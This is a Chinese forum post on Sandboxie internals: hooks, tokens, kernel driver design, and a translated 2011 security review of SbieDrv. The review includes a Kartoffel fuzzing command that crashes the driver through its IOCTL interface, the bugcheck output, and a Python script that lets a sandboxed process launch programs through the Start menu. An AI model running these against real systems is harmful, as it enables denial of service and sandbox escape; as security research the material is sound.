Sandboxie
的工作原理
- 术语解释
- Sandboxie 4.x 工作原理的一个示意图
- hx1997 解说 Sandboxie 4.x 的工作原理
- Sandboxie 3.x 的工作原理
术语解释
为了帮助大家理解后面的内容,在下抄了些术语解释在这里:
-
钩子:本术语解释引自
http://www.oschina.net/question/565065_68287 且有删改
通常,我们把拦截 API 的调用称为是安装一个 API 钩子(API Hook)。一个 API 钩子至少有两个模块组成:一个是钩子服务器(Hook Server)模块,一般为 EXE 的形式;一个是钩子驱动器(Hook Driver)模块,一般为 DLL 的形式。
服务器主要负责向目标进程注入驱动器,使得驱动器工作在目标进程的地址空间中,这是关键的第一步。驱动器则负责实际的API拦截工作,以便在我们所关心的 API 函数调用的前后能做一些我们需要的工作。
一个比较常见的 API 钩子的例子就是一些实时翻译软件(像金山词霸)必备的功能——屏幕取词,它主要是对一些 GDI 函数进行了拦截,获取它们的输入参数中的字符串,然后在自己的窗口中显示出来。
-
权限与令牌:在 Windows Vista 以及之后的
Windows
系统中,有着名为“强制完整性控制(MIC)”的访问控制机制。在此机制下,所有的安全性对象(如命名对象,包括文档、注册表项,甚至进程和线程)都带有访问控制列表,定义着访问者的完整性级别所对应的访问权限;这些对象本身也有着完整性级别的属性,当访问者的完整性级别低于访问对象的时候,一般来说就只能读取访问,有些对象甚至连读取都不行;每个进程都带有完整性级别的属性,当访问安全性对象的时候用于获取对应的访问权限。
默认情况下,进程以完整性级别为中等(normal)的标准用户启动,即使登陆用户是管理员账户。而“以管理员身份运行”的程序则是完整性级别为高(high)。这里值得注意的是,用户“Anonymous”(匿名)和“Null User Sessions”所运行的进程的完整性级别为不可信(untrusted),这大概是最低的了。
hx1997 亦有翻译一篇简介性的文章,里面使用记事本程序给出了一个很好的示例,参见http://bbs.kafan.cn/thread-1205268-1-1.html。
Sandboxie
4.x 工作原理的一个示意图
就在下目前的理解而言,Sandboxie
4.x 的工作原理大致就是将入沙进程创建为 Anonymous(匿名)用户的进程,并且在进程中注入钩子驱动器,藉此监控入沙进程的访问行为,然后由
Sandboxie 的驱动服务判断并提供访问渠道。下面是一个粗略的示意图:
<ignore_js_op
style=‘font: 14px/21px Tahoma, "Microsoft Yahei", Simsun; color: rgb(68, 68,
68); text-transform: none; text-indent: 0px; letter-spacing: normal;
word-spacing: 0px; white-space: normal; word-wrap: break-word; font-size-adjust:
none; font-stretch: normal; background-color: rgb(255, 255, 255);
-webkit-text-stroke-width: 0px;‘>
hx1997
解说 Sandboxie 4.x 的工作原理
关于
Sandboxie 4.x 的工作原理,hx1997 在 13 楼、20 楼与 27
楼给出了非常清晰的解说,为了方便大家阅读,在下就复制粘贴在这了:
Sandboxie 4.x 放弃了内核钩子,继续采用应用层钩子,这意味着内核方面的隐患减少。而 4.x 加强系统权限对入沙程序的控制,则提升了安全性(还是不考虑兼容性),因为要穿透 4.x,就要利用系统安全机制的漏洞,这肯定比 3.x 时单单穿透 Sandboxie 难多了。
应用层钩子是为了兼容性而不是安全性存在的,安全性依赖于权限。
如果真有能利用来穿破沙盒的系统漏洞(本地提权?),那么一般这个漏洞也能穿破其他安全软件如杀软、HIPS 之类的。在系统漏洞面前,所有安全软件都是一样的 —— 没办法,谁也保护不了,因为这是系统的问题。
3.x 时代,假设程序穿透了 Sandboxie,也就是它不受 Sandboxie 监管了,那就没有什么能阻止它访问所在用户可访问的资源了(前提是没有其他安全软件)。比如你是管理员,穿透 Sandboxie 3.x 的程序运行于管理员帐户下,那么它就能够访问你能访问的所有资源,也就是它和普通程序几乎没有差别。问题在于访问控制是由 Sandboxie 驱动负责的。
而 4.x 则加强了权限的控制,程序穿透了 Sandboxie 后,系统还严格限制着这个程序的一举一动(3.x 时的限制和普通程序一样,4.x 则是很严格的限制)。比如你还是管理员,穿透 Sandboxie 4.x 的程序运行于 ANONYMOUS LOGON 帐户下(这是 4.x 的限制,且程序帐户一运行就不能更改),带有低完整性标签 (适用于 Vista 及以上),这意味着尽管穿透了 Sandboxie,但是它还是无法访问你的资源,更无法写入文件系统和注册表。访问控制已经交给了严格的系统权限。
既然有着这么严格的权限控制,肯定有一种机制让程序能正常执行无害的功能(也就是保持兼容性),不然啥都访问不了有什么用。这也就是 tzuk 所说的
I suppose you can still say it‘s a gatekeeper. It used to be about closing the gate on the program, now it‘s about opening it for the program.
Sandboxie 4.x 这个门卫是负责开门,而不是关门的。关门是系统权限的事,Sandboxie 负责拦截程序的访问请求(应用层钩子用在这里),判断这个请求是否合理/安全,如果是,就重定向/代替程序访问那些不够权限访问的资源,再把结果返回给程序。Sandboxie 的角色从以前的控制(关门)转变成了帮忙(开门)。
我猜这是从 Chromium 沙盒得到的灵感。
访问资源前,注入到入沙进程内的 SbieDll.dll 会先模拟高权限用户(前提是你有一个高权限的令牌),然后修改原 API 调用中的参数,用模拟的身份、重定向后的路径去访问资源(是入沙进程内的 DLL 在访问,所以毛豆拦截到入沙进程)。没有这个过程,访问是会失败的。
当然,入沙程序也可能会自己写些代码来模拟高权限用户,但是注意前提是有高权限的令牌。SbieDll.dll 所使用的令牌大概是沙盘外的、拥有较高权限的 Sandboxie 程序提供的。没有 Sandboxie 的帮助,入沙的低权限程序肯定是不能搞到什么高权限令牌的(不然就是提权漏洞了),更别说模拟高权限用户来访问资源了。
毛豆所拦截到的是入沙程序访问重定向之后的资源是因为 API 调用后是一层层传递到系统底层的。越底层的钩子越后拦截,毛豆的钩子在内核层,Sandboxie 的钩子在应用层,自然是 Sandboxie 的钩子先拦截到,然后再传递给毛豆的钩子,所以毛豆看到的已经是重定向后的结果了。
Sandboxie
3.x 的工作原理
-----------------------------------------------------------------------------------------------
下面这篇文章讲的是
Sandboxie 3.x 的工作原理,有兴趣的话可以
看看,但是要注意的是,其中很多评论已不再适用于
4.x 了。
-----------------------------------------------------------------------------------------------
Sandboxie:
用内核级钩子隔离进程
(原文标题为
Sandboxie: Process isolation with kernel hooks)
英文原文出自
http://vallejo.cc/48
英文原文日期为2011年5月23日
-------------------------- 在下对文章大意的理解 --------------------------------------------------------
大致来说,系统里的进程在访问资源的时候要从ssdt或shadow
ssdt
那里获取资源地址,而Sandboxie在这里拦截进程的请求。Sandboxie
的驱动程序维护着入沙进程的列表;当入沙进程请求资源的时候,
Sandboxie根据沙盘的设置决定是阻止、允许抑或重定向。更详细点
说,进程对资源的具体操作需要采用发送消息的方式来委托操作系统
的组件来完成操作,于是Sandboxie通过在操作系统的组件上安装钩
子来拦截这些消息;这种做法并不是利用公开的
API 来完成的,它的
可行性依赖于操作系统的版本。Sandboxie无意也无法拦截一切,
它是安全与易用性的平衡。例如,沙盒内运行的脚本可能在实机模拟
击键,用这种办法来启动开始菜单中的程序。
--------------------------- 上述理解未必正确!!! --------------------------------------------
译文中“读写控制(组件)”即是“io
control”, 但愿没有影响你的阅读。
--------------------------- 以下是译文 -----------------------------------------------------------------
1.
简介:
Sandboxie是一个能够隔离进程的沙盒.
它的主要特点有:
-直接挂钩到内核层的对象来实现对内核资源的访问控制;
-通过在一些ssdt(系统服务描述符表)与shadow
ssdt上面安装钩子来控制窗口消息.
-通过一些注册到内核中的回调函数来获取像创建进程与加载文件映像这样的事件的通知...
本文探讨Sandboxie的设计并从安全角度分析之.
2.
Sandboxie的设计:
Sandboxie由界面程序,
服务... 等等组件组成, 但是我们只关心两个组件: SbieDrv.sys?——挂在内核上的驱动,
以及SbieDll.dll——用于注入到入沙进程中.
<ignore_js_op
style=‘font: 14px/21px Tahoma, "Microsoft Yahei", Simsun; color: rgb(68, 68,
68); text-transform: none; text-indent: 0px; letter-spacing: normal;
word-spacing: 0px; white-space: normal; word-wrap: break-word; font-size-adjust:
none; font-stretch: normal; background-color: rgb(255, 255, 255);
-webkit-text-stroke-width: 0px;‘>
Sandboxie的驱动挂在内核中,
用于保护资源免受入沙程序的入侵(它在类型为"Type"的内核对象, ssdt, shadow ssdt这些地方安装钩子).
驱动对PsLoadImageNotifyRoutine与PsCreateProcessNotifyRoutine使用回调函数来获得文件映像加载或进程创建的消息.
Sandboxie驱动维护一个记录着所有必须控制的入沙进程的列表. 如果一个进程已然入沙, 则它所创建的新进程都会被加入上述列表中.
资源访问控制是简单的:
若进程已经入沙则拒绝访问, 否则允许.
然而Sandboxie也确实向入沙进程开放某些资源.
它为入沙进程另建"平行"的文件系统与注册表等等资源. 因此, Sandboxie提供一大堆读写控制功能来实现对文件与注册表等等资源的安全访问;
这样子入沙进程就必须经由Sandboxie驱动的读写控制组件去访问系统资源了.
现在谈谈SbieDll吧.
SbieDll会在注入到入沙进程中的所有dll文件的所有输出(export)上安装钩子. 它对于入沙进程的运行来说是必不可少的. 当它在重要的 API
上安装钩子时(例如ZwCrateFile, ZwCreateProcess, ZwOpenKey等等 API ),
它将会阻止指向内核的正常执行流程并重定向至SbieDrv的读写控制组件(假如你用HookShark移除了SbieDll的所有用户级钩子,
你将会发现进程无论什么也访问不了了).
3.
资源访问控制:
Sandboxie在那些身处\ObjectTypes目录下的内核对象上安装钩子:
token, process, thread, event, section, port 与 semaphore, 以及类型为"Type"的对象.
它安装钩子到函数指针OpenProcedure(OB_OPEN_METHOD类型), 藉此控制对特定类型的对象的访问:
OBJECT_TYPE
->OBJECT_TYPE_INITIALIZER-> OpenProcedure
只有这样它才能控制文件磁盘与注册表等等对象的访问.
它也必须控制窗口消息(这是由win32k.sys管理的).
它必须阻止发自入沙进程与Windows钩子等等地方的消息.
为此SbieDrv会拦截某些ssdt或shadow
ssdt的 API :
win32k_NtUserCallHwndParamLock
win32k_NtUserDestroyWindow
win32k_NtUserShowWindow
win32k_NtUserSendInput
win32k_NtUserBlockInput
win32k_NtUserSystemParametersInfo
win32k_NtUserSetSysColors
win32k_NtUserSetSystemCursor
win32k_NtUserMessageCall
win32k_NtUserPostMessage
win32k_NtUserPostThreadMessage
win32k_NtUserSetWindowsHookEx
win32k_NtUserSetWinEventHook
nt_NtRequestPort
nt_NtRequestWaitReplyPort
nt_NtTraceEvent
3.1.
\ObjectTypes上的钩子:
我们来分析一下\ObjectTypes目录下的对象.
这里使用windbg来分析Token对象.
WINDBG>!object
\ObjectTypes
Object:
e1000548 Type: (819f1418) Directory
ObjectHeader:
e1000530 (old version)
HandleCount:
0 PointerCount: 25
Directory
Object: e1001520 Name: ObjectTypes
Hash
Address Type Name
—-
——- —- —-
00 819f1418
Type Directory
01 819ccca0
Type Thread
819c95e0
Type Mutant
03 8198cca0
Type FilterCommunicationPort
05 819b8e70
Type Controller
07 819c8ca0
Type Profile
819c9980
Type Event
819f15e8
Type Type
09 819c8560
Type Section
819c97b0
Type EventPair
819f1248
Type SymbolicLink
10 819c8730
Type Desktop
11 819c8e70
Type Timer
12 819b8730
Type File
819c8900
Type WindowStation
16 819b8ad0
Type Driver
18 819eb910
Type WmiGuid
819c8ad0
Type KeyedEvent
19 819cc040
Type Token
819b8ca0
Type Device
20 819cc408
Type DebugObject
21 819b8900
Type IoCompletion
22 819cce70
Type Process
24 819f0300
Type Adapter
26 819c5980
Type Key
28 819ccad0
Type Job
31 819f0708
Type WaitablePort
819f08d8
Type Port
32 819c9410
Type Callback
33 8198ce70
Type FilterConnectionPort
34 819c8040
Type Semaphore
WINDBG>!object
819cc040
Object:
819cc040 Type: (819f15e8) Type
ObjectHeader:
819cc028 (old version)
HandleCount:
0 PointerCount: 1
Directory
Object: e1000548 Name: Token
WINDBG>dt
_OBJECT_TYPE 819cc040
ntdll!_OBJECT_TYPE
+0×000
Mutex : _ERESOURCE
+0×038
TypeList : _LIST_ENTRY [ 0x819cc078 -
0x819cc078 ]
+0×040
Name : _UNICODE_STRING
“Token”
+0×048
DefaultObject : 0×80558cc0
+0×04c
Index : 4
+0×050
TotalNumberOfObjects : 0×1a
+0×054
TotalNumberOfHandles : 0×10
+0×058
HighWaterNumberOfObjects : 0×1d
+0×05c
HighWaterNumberOfHandles : 0×14
+0×060
TypeInfo :
_OBJECT_TYPE_INITIALIZER
+0×0ac
Key :
0×656b6f54
+0×0b0
ObjectLocks : [4] _ERESOURCE
Como
vemos de \ObjectTypes cuelgan varios objetos de tipo Type. La estructura de
estos objetos es de tipo _OBJECT_TYPE.
我们感兴趣的是OBJECT_TYPE结构,
以及OBJECT_TYPE_INITIALIZER, 因为在这个子结构中我们找到了指向OpenProcedure和其它回调函数(打开, 关闭,
删除,...)的指针.
typedef
struct _OBJECT_TYPE_INITIALIZER {
USHORT
Length; 2 bytes
BOOLEAN
UseDefaultObject; 1 byte
BOOLEAN
Reserved; 1 byte
ULONG
InvalidAttributes; 4 bytes
GENERIC_MAPPING
GenericMapping; 16 bytes
ULONG
ValidAccessMask; 4 bytes
BOOLEAN
SecurityRequired; 1 byte
BOOLEAN
MaintainHandleCount; 1 byte
BOOLEAN
MaintainTypeList; 1 byte
POOL_TYPE
PoolType; 1 byte
ULONG
ObjectTypeCode; 4 bytes //-> this field depends on the OS version, it
can
//to
be here or not so the offset of OpenProcedure
//can
to be +30h or +34h.
ULONG
DefaultPagedPoolCharge; 4 bytes
ULONG
DefaultNonPagedPoolCharge; 4 bytes
//——
OB_DUMP_METHOD
DumpProcedure; 4 bytes
OB_OPEN_METHOD
OpenProcedure; 4 bytes
OB_CLOSE_METHOD
CloseProcedure; 4 bytes
OB_DELETE_METHOD
DeleteProcedure; 4 bytes
OB_PARSE_METHOD
ParseProcedure; 4 bytes
OB_SECURITY_METHOD
SecurityProcedure; 4 bytes
OB_QUERYNAME_METHOD
QueryNameProcedure; 4 bytes
OB_OKAYTOCLOSE_METHOD
OkayToCloseProcedure; 4 bytes
}
OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
The
field ObjectTypeCode only exists with some OS versions and builds. SbieDrv has
in mind this fact.
OpenProcedure
pointer is OB_OPEN_METHOD:
typedef
NTSTATUS
(NTAPI
*OB_OPEN_METHOD)(
IN
OB_OPEN_REASON Reason,
IN
PEPROCESS Process OPTIONAL,
IN
PVOID ObjectBody,
IN
ACCESS_MASK GrantedAccess,
IN
ULONG HandleCount
);
当一个特定的对象(process,
token,...)被打开的时候, 上面的回调函数就会被调用.
SbieDrv为下列对象挂上回调函数OpenProcedure:
token, process, thread, event, section, port与semaphor, 还有类型为"Type"的对象.
在下面这张截图中我们看到SbieDrv调用函数安装钩子:
它检查操作系统的版本与编号,
以计算出偏移量将OpenProcedure插入到OBJECT_TYPE结构中:
——
If
version < 4:
If
BuildNumber <= 1770h:
OpenProcedureOffset
= pTypeObjHeader+30h+60h
Else:
OpenProcedureOffset
= pTypeObjHeader+30h+28h
Else:
If
BuildNumber <= 1770h:
OpenProcedureOffset
= pTypeObjHeader+30h+60h
Else:
OpenProcedureOffset
= pTypeObjHeader+34h+28h
——
它为即将写入系统内存的钩子建立代码块.
显然操作系统会检测OpenProcedure是不是指向系统内存, 或KeBugCheck有没有被调用了. 前述代码块将总是检测并阻止这样的访问,
如果当前进程已经入沙的话; 其余情况它将会放行.
这一个我称之为“ComprobarProcessIdEnListaDeSandboxeadosObtenerEstructura”的函数在入沙进程列表中搜索当前进程.
在下面这幅图中我们看到的代码是SbieDrv用于建立钩子函数代码块的地方,
也是SbieDrv用指针重写OpenProcedure的地方.
3.2.
ssdt与shadow ssdt钩子:
Sandboxie在下列
API 上安装钩子:
win32k_NtUserCallHwndParamLock
win32k_NtUserDestroyWindow
win32k_NtUserShowWindow
win32k_NtUserSendInput
win32k_NtUserBlockInput
win32k_NtUserSystemParametersInfo
win32k_NtUserSetSysColors
win32k_NtUserSetSystemCursor
win32k_NtUserMessageCall
win32k_NtUserPostMessage
win32k_NtUserPostThreadMessage
win32k_NtUserSetWindowsHookEx
win32k_NtUserSetWinEventHook
nt_NtRequestPort
nt_NtRequestWaitReplyPort
nt_NtTraceEvent
它们当中大部分都与控制来自入沙程序的窗口消息有关.
下面分析一下win32k_NtUserMessageCall上的钩子:
Hook_Win32k_Gestiona_MensajeDeVentana这个函数将会检测来自入沙进程的窗口消息,
看这一个消息是要阻止还是允许.
-它读取消息的发送方与接收方的进程标识.
如果接收方已经入沙, 则阻止此消息.
-如果这个消息是0×3e4,
那么它不会被阻止.
-它读取目标窗口类名.
SbieDrv管理着窗口类名的列表, 除了下面这些例外:
TrayNotifyWnd
SystemTray_Main
Connections
Tray
MS_WebcheckMonitor
PrintTray_Notify_WndClass
CicLoaderWndClass
CicMarshalWndClass
Logitech
Wingman Internal Message Router
devldr
CTouchPadSynchronizer
Type32_Main_Window
TForm_AshampooFirewall
WinVNC
desktop sink
Afx:400000:0
NVIDIA
TwinView Window
Shell_TrayWnd
为了使某些常见程序(资源浏览器,
一些Navigator等等)在沙盒中正常运行, 它必须把这些例外的部分也添加进来.
-如果消息的目标是一个并未入沙的进程,
但发送方是一个入沙进程:
a)
如果目标窗口类名不在前面的列表中, 那么这个消息将被阻止.
b)
如果目标窗口类名在前面的列表中:
1.
如果 message < WM_USER(0×400), 那么这个消息将被阻止:
2h
– WM_DESTROY
0Bh
– WM_SETREDRAW
10h
– WM_CLOSE
11h
– WM_QUERYENDSESSION
12h
– WM_QUIT
16h
– WM_ENDSESSION
3Bh
-
4Eh
– WM_NOTIFY
82h
– WM_NCDESTROY
111h
– WM_COMMAND
112h
– WM_SYSCOMMAND
319h
其它消息会被放行.
2.
如果 message > WM_USER, 结果将取决于到底是哪一个窗口类名. 比如说,
它会允许发往Shell_trayWnd的消息0×4ec.
4.
读写控制:
Sandboxie的设备是:
\device\SandboxieDriverApi
读写控制肯定是:
DeviceType
= FILE_DEVICE_UNKNOWN = 0×00000022
Function
= 0×801
Method
= METHOD_NEITHER
Access
= 0
CTL_CODE(0×00000022,
0×801, METHOD_NEITHER, 0);
用户缓存大小介于0×8字节与0×40字节之间.
第一个双字节值总是0×123400XX. 它是所执行的操作的标识.
SbieDrv记录着所有标识以及它们对应的函数.
0×12340001:
[0x12340001][XXXXXXXX][ptr
mem user out]
查询Sandboxie的版本字符串.
0×12340002:
[0x12340002][XXXXXXXX][XXXXXXXX][XXXXXXXX][
ptr mem user out] [XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX]
查询入沙进程的列表.
0×12340003:
写文件.
0×12340007:
[0x12340007][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][ptr
mem user out]
0×12340008:
[0x12340008][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX]
[XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][ ptr mem user][XXXXXXXX][ptr mem
usr][XXXXXXXX][ptr mem usr]
0×12340009:
根据进程标识获取对象.
0×1234000a
0×1234000b:
查询指定入沙进程的信息.
0×1234000c:
查询系统时间.
0×1234000d:
取消对用户模式内存的保护.
[0x1234000D][XXXXXXXX][ptr
funcion modo usuario][XXXXXXXX][ptr memoria usuario info hook]
0×1234000f:
查询指定的沙盒设置:
DisableBoxedWinSxS
InjectDll
AutoExec
OpenProtectedStorage
OpenCredentials
OpenWinClass
NoRenameWinClass
BoxNameTitle
ClsidTrace
OpenClsid
StartService
StartProgram
AutoRecover
RecoverFolder
AutoRecoverIgnore
0×12340010:
根据Sandboxie.ini与templates.ini更新驱动(驱动将会解析ini文件).
0×12340011
0×12340015
0×12340016:
命令驱动在ssdt与shadow ssdt上安装钩子.
0×12340019
0×1234001e
0×1234001f:
有关磁盘访问.
0×12340021
0×12340024
0×12340025
0×12340026
0×12340028
0×1234002b:
获取进程句柄.
5.
Sandboxie的安全性:
5.1
针对读写控制组件的fuzzing测试:
这是使用Kartoffel来做的一个简单的fuzzing测试:
FOR
%%A IN (0 1 2) DO FOR %%B IN (0 1 2 3 4 5 6 7 8 9 A B C D E F) DO Kartoffel -d
\device\SandboxieDriverApi -n 0×40 -o 0×40 -z 0×40 -Z 0×40 -I 0×222007 -u
CUSTOM,”[P=0x123400%%A%%B::*0][B=0x41::*0x3c$4][!!]“
通过这条命令,
我们向读写控制组件发送了大小为0×40, 标识为0×12340001至0×1234002f的一系列填充了字符‘A‘的缓冲区.
[0x123400XX][AAAAAAAAAAAAAAAAAAAAAAA…]
这真的是一个很简单的fuzzing测试,
但它已经足以在标识0×12340027处检出一处错误:
WINDBG>!analyze
-v
*******************************************************************************
*
*
*
Bugcheck Analysis *
*
*
*******************************************************************************
DRIVER_CORRUPTED_MMPOOL
(d0)
Arguments:
Arg1:
6b757a74, memory referenced
Arg2:
00123400, IRQL
Arg3:
00000000, value 0 = read operation, 1 = write operation
Arg4:
12340027, address which referenced memory
一个访问可分页的(或完全无效的)地址的请求要求了过高的中断请求级别(IRQL).
这是驱动程序破坏了系统池而造成的. 请运行驱动匹配器以找出新的(或可疑的)驱动程序. 如果依然无法检出问题所在, 那么请使用程序gflags启用特殊池;
你也可以将HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory
Management\ProtectNonPagedPool的值设为双字节的1, 然后重启电脑. 这样电脑就会取消映射释放的非分页池,
阻止驱动程序(虽然不包括DMA-hardware模式)破坏池.
Debugging
Details:
——————
*************************************************************************
***
***
***
***
***
Your debugger is not using the correct symbols ***
***
***
***
In order for this command to work properly, your symbol path ***
***
must point to .pdb files that have full type information. ***
***
***
***
Certain .pdb files (such as the public OS symbols) do not ***
***
contain the required information. Contact the group that ***
***
provided you with these symbols if you need this command to ***
***
work. ***
***
***
***
Type referenced: kernel32!pNlsUserInfo ***
***
***
*************************************************************************
*************************************************************************
***
***
***
***
***
Your debugger is not using the correct symbols ***
***
***
***
In order for this command to work properly, your symbol path ***
***
must point to .pdb files that have full type information. ***
***
***
***
Certain .pdb files (such as the public OS symbols) do not ***
***
contain the required information. Contact the group that ***
***
provided you with these symbols if you need this command to ***
***
work. ***
***
***
***
Type referenced: kernel32!pNlsUserInfo ***
***
***
*************************************************************************
READ_ADDRESS:
6b757a74 (kuzt -> tzuk -> el nombre del autor)
CURRENT_IRQL:
123400
FAULTING_IP:
+5c1952f0012c4f0
12340027
?? ???
DEFAULT_BUCKET_ID:
DRIVER_FAULT
BUGCHECK_STR:
0xD0
PROCESS_NAME:
Kartoffel.exe
LAST_CONTROL_TRANSFER:
from 804f7b27 to 8052716c
STACK_TEXT:
f7642750
804f7b27 00000003 f7642aac 00000000 nt!RtlpBreakWithStatusInstruction
f764279c
804f8714 00000003 c0000005 00000000 nt!KiBugCheckDebugBreak+0×19
f7642b7c
804f8c3f 000000d0 6b757a74 00123400 nt!KeBugCheck2+0×574
f7642b9c
f7cce31f 000000d0 6b757a74 00123400 nt!KeBugCheckEx+0×1b
WARNING:
Stack unwind information not available. Following frames may be wrong.
f7642c34
804ee0ef 81740340 817398a0 806d12d0 SbieDrv+0×131f
f7642c44
80574032 81739910 818b2b88 817398a0 nt!IopfCallDriver+0×31
f7642c58
80574ec1 81740340 817398a0 818b2b88 nt!IopSynchronousServiceTail+0×60
f7642d00
8056d81e 000007b4 00000000 00000000 nt!IopXxxControlFile+0×5e7
f7642d34
8053cbc8 000007b4 00000000 00000000 nt!NtDeviceIoControlFile+0×2a
f7642d34
7c91eb94 000007b4 00000000 00000000 nt!KiFastCallEntry+0xf8
0012eca4
7c91d8ef 7c8016be 000007b4 00000000 ntdll!KiFastSystemCallRet
0012eca8
7c8016be 000007b4 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0012ed08
0040617d 000007b4 00222007 003b0808 kernel32!DeviceIoControl+0×78
0012fee4
0040a9cd 0000000f 003b0b40 003b0c10 Kartoffel+0×617d
0012ffc0
7c816ff7 0000001a 00000000 7ffdd000 Kartoffel+0xa9cd
0012fff0
00000000 0040a85a 00000000 78746341 kernel32!BaseProcessStart+0×23
STACK_COMMAND:
kb
FOLLOWUP_IP:
SbieDrv+131f
f7cce31f
8bf7 mov esi,edi
SYMBOL_STACK_INDEX:
4
SYMBOL_NAME:
SbieDrv+131f
FOLLOWUP_NAME:
MachineOwner
MODULE_NAME:
SbieDrv
IMAGE_NAME:
SbieDrv.sys
DEBUG_FLR_IMAGE_TIMESTAMP:
4d8b29aa
FAILURE_BUCKET_ID:
0xD0_SbieDrv+131f
BUCKET_ID:
0xD0_SbieDrv+131f
Followup:
MachineOwner
———
Sorting
‘Functions window’… ok
KeBugCheck是通过SbieDrv调用的,
因此它应该只是个无害的拒绝服务攻击(我们可以用一个入沙进程来发起); 但是我们可以看到, 一个简单的fuzzing测试就引起了一次崩溃,
这个事实使我怀疑Sandboxie的鲁棒性.
5.2.
发送窗口消息给Shell_TrayWnd(隐藏窗口):
Shell_TrayWnd是一个窗口类名,
处于Sandboxie的特殊管理之下. Sandboxie会允许入沙进程向这些窗口类名发送更多的窗口消息.
下面的脚本演示这些额外的消息如何允许我们利用入沙进程从开始菜单启动应用程序:
import
random
random.seed()
VK_LEFT=0×25
VK_UP=0×26
VK_RIGHT=0×27
VK_DOWN=0×28
VK_RETURN=0×0d
VK_TAB=0×09
VK_SHIFT=0×10
VK_CONTROL=0×11
VK_MENU=0×12
import
ctypes
import
time
from
ctypes.wintypes import DWORD, HWND, HANDLE, LPCWSTR, WPARAM, LPARAM, RECT,
POINT
trayRect=RECT(0,0,0,0)
trayWindow
= ctypes.windll.user32.FindWindowExA(0,0,”Shell_TrayWnd”,0)
trayNotifyWindow
= ctypes.windll.user32.FindWindowExA(trayWindow,0,”TrayNotifyWnd”,0)
def
PressKey(hwin,key):
msgkeydown=0×100
msgkeyup=0×101
ctypes.windll.user32.PostMessageA(hwin,
msgkeydown, key, 0) #KEYDOWN
time.sleep(0.1)
ctypes.windll.user32.PostMessageA(hwin,
msgkeyup, key, 0) #KEYUP
time.sleep(0.1)
ctypes.windll.user32.PostMessageA(trayWindow,
0xa1, 1, 0×200020) #WM_NCLBUTTONDOWN
ctypes.windll.user32.PostMessageA(trayWindow,
0xa2, 0, 0×200020) #WM_NCLBUTTONUP
PressKey(trayWindow,
VK_UP)
PressKey(trayWindow,
VK_UP)
PressKey(trayWindow,
VK_UP)
PressKey(trayWindow,
VK_UP)
PressKey(trayWindow,
VK_UP)
PressKey(trayWindow,
VK_UP)
PressKey(trayWindow,
VK_UP)
PressKey(trayWindow,
VK_RIGHT)
PressKey(trayWindow,
VK_RIGHT)
PressKey(trayWindow,
VK_DOWN)
PressKey(trayWindow,
VK_DOWN)
PressKey(trayWindow,
VK_DOWN)
PressKey(trayWindow,
VK_DOWN)
PressKey(trayWindow,
VK_DOWN)
PressKey(trayWindow,
VK_DOWN)
PressKey(trayWindow,
VK_RETURN)
(这个脚本所使用的击键事件将会启动我的系统中的calc.exe,
按照我的开始菜单的排列的话).
这算不上是一个高危的安全隐患,
但是我觉得对于一个沙盒来说这可不是什么好事.
5.3.
长名称:
Sandboxie在处理长名称(长于MAX_PATH并且短于32767个宽字符)的时候会出问题,
因为映像名参数LoadImageNitifyRoutine被赋值为NULL.
我在这方面没有发现什么安全隐患,
但是我发现了一些在没有安装Sandboxie之前不会发生的奇怪现象.
这个细节让我们感觉到,
在内核层拦截如此多东西不仅危险, 而且很难把所有可能性与所有情况都考虑到.
5.4.
复杂的格式解析:
在我看来,
Sandboxie在内核级别存在危险代码.
举例来说,
SbieDrv的LoadImageNotifyRoutine回调函数深入解析所加载文件映像的PE Header(直接在用户模式下).
0×12340010
读写控制组件从内核中打开并解析.ini文件:
SbieDrv反汇编用于内核级与用户级的钩子函数的指令,
藉此将指令保持在将会被重写的函数入口.
5.5.
结论
依我看,
隔离进程的沙盒有一个内在的风险:
-很难拦截入沙程序所不应该访问的一切资源.
-它会在系统的脆弱点带来危险的代码.
-钩子以及对系统的更改将会依赖于系统的版本和编号,
而且大多数时候它们都是卑鄙而非法的.
-显然,
就像Sandboxie所做的那样, 你也需要添加一些例外.
-特别是,
Sandboxie在内核中有危险的代码: 对PE headers与ini文件的解析.
我对Sandboxie的结论是:
这是一个有用的工具. 我会在沙盒中运行一个navigator或者一个pdf阅读器, 以此来保护我免受漏洞的危害;
但是我不会在Sandboxie中运行一个恶意软件来分析它的行为, 除非Sandboxie是运行在vmware, bochs或别的虚拟机之中.
-------------------------- 译文至此结束 ---------------------------------------------------------------------
鉴于在下连操作系统原理都没有学过,英语又差劲,在翻译的过程中难免会有很多错误,欢迎大家批评指正。但在下仍然希望上面的译文能够传达原文大意,使普通的Sandboxie使用者也可以了解Sandboxie的大致工作原理。